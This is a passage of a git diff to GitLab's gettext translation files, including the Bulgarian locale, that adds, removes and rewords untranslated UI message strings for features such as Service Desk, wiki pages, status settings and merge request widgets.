+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26802,9 +27471,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,19 +27705,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27150,6 +27843,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,13 +29093,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28583,9 +29288,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29466,6 +30172,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29599,6 +30314,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29671,6 +30389,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29722,6 +30443,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -29830,9 +30563,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30214,7 +30947,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31065,9 +31810,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31095,7 +31837,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31200,6 +31942,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -31993,7 +32741,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32296,9 +33050,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,7 +33149,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32692,7 +33446,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32701,6 +33470,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -32850,9 +33625,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33649,34 +34451,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33703,9 +34517,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33766,6 +34577,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34225,7 +35039,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34240,9 +35054,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35400,7 +36235,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35434,13 +36269,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35554,9 +36386,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35707,18 +36536,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36099,9 +36910,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36147,6 +36955,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/bg/gitlab.po b/locale/bg/gitlab.po
index 4d3b1a04cfa..27855be4c21 100644
--- a/locale/bg/gitlab.po
+++ b/locale/bg/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bg\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:54\n"
+"PO-Revision-Date: 2021-04-02 00:14\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
